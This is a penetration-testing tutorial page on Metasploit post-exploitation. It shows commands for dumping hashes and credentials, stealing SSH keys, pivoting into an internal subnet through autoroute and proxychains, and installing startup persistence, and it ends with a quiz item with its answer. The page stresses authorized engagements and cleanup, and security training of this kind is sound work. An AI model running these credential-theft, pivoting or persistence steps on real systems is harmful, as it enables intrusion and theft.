Post-Exploitation

Your first shell is a doorway, not the prize. Loot it, pivot through it, and keep it.

18 minmetasploitpost-exploitationpivoting

What you will learn

-Automate loot collection with post modules
-Pivot through a compromised host to reach an internal network
-Understand persistence basics and when they belong in scope

The is where the work starts. A single compromised usually sees , holds , and trusts other machines your attacker box can't reach directly. -exploitation is turning that one foothold into everything it can touch: the loot on the box, the networks behind it, and a way back in if the session drops.

Gather the loot first

Before anything clever, sweep the box for the obvious wins. Metasploit's post modules automate the collection so you're not typing type on twenty files by hand. Run them against a backgrounded session by its ID.

msf6

# local account hashes for cracking or pass-the-hash

$run post/windows/gather/hashdump SESSION=1

# cached creds and tokens

$run post/windows/gather/credentials/credential_collector SESSION=1

# SSH keys and known_hosts on a Linux box

$run post/multi/gather/ssh_creds SESSION=2

# everything collected, saved to disk automatically

$loot

Every hash, key, and file these modules pull gets written under ~/.msf4/loot and indexed in the database, so loot and creds become your searchable haul. On a Meterpreter session, hashdump typed directly at the prompt does the same dump if you already have . Feed those hashes to hashcat, or reuse them as-is with on the next box.

Pivot into the internal network

The interesting machines are rarely the one you popped. That probably has a second interface on a 172.16.x.x segment your VPN can't route to. Pivoting makes Metasploit send traffic through the session, so your scanners and reach hosts only the compromised box can see.

First, find the hidden network from inside the session, then add a route through it.

meterpreter / msf6

# from meterpreter: route this subnet through session

$run autoroute -s 172.16.5.0/24

# park the session

$background

# confirm the route is registered in msf

$route

# now scan the internal net THROUGH the pivot

$use auxiliary/scanner/portscan/tcp

# an internal host your VPN can't reach directly

$set RHOSTS 172.16.5.10

That routes Metasploit's own modules through the pivot, which is enough for msf scanners and exploits. To point outside tools like or a browser at the internal network, add a SOCKS proxy: run use auxiliary/server/socks_proxy, run -j, then set socks4 127.0.0.1 1080 in your /etc/proxychains4.conf and prefix commands with proxychains. Now proxychains nmap -sT 172.16.5.10 reaches a host that does not know your Kali box exists.

autoroute needs a live session

Routes live only as long as the session that carries them. If session 1 dies, every route and proxy riding on it dies too, and your internal scans start hanging. Keep the pivot session healthy, and migrate it into a stable process before you lean on it.

Persistence, and when it's allowed

means the target calls you back after a reboot without you re-exploiting it. Metasploit can drop a scheduled task or a run-key that re-launches a on startup. The mechanics are one module.

meterpreter

# install a startup callback

$run post/windows/manage/persistence_exe REXEPATH=/root/shell.exe

# persistence usually wants an admin or SYSTEM token

$getuid

Here is the honest part. Persistence is loud, it's a change you're making to the 's real system, and it is the kind of thing that gets a pentester in trouble when it's done off-book. Do not install it unless your rules of engagement explicitly permit it, and if they do, exactly what you dropped and where so you can rip it out during cleanup. An artifact you forget to remove is a you left on someone's production network.

Authorized targets only

Looting credentials, pivoting into internal segments, and installing persistence are the most invasive things in this whole module. Do them only inside a signed engagement or a lab you own, keep a written record of every change you make, and remove all persistence and tooling during cleanup. Leaving any of it behind on a system you don't own is both a breach of trust and, in most jurisdictions, a crime.

Exercise

You popped a host that has a second NIC on 172.16.5.0/24, which your VPN cannot reach. Which Meterpreter command registers that subnet so msf modules route through the session?

run autoroute -s 172.16.5.0/24 adds the internal to Metasploit's routing table via the session, so scanners and exploits inside msf reach hosts only the compromised box can see. For external tools, layer a SOCKS proxy and proxychains on top.

Payloads with msfvenom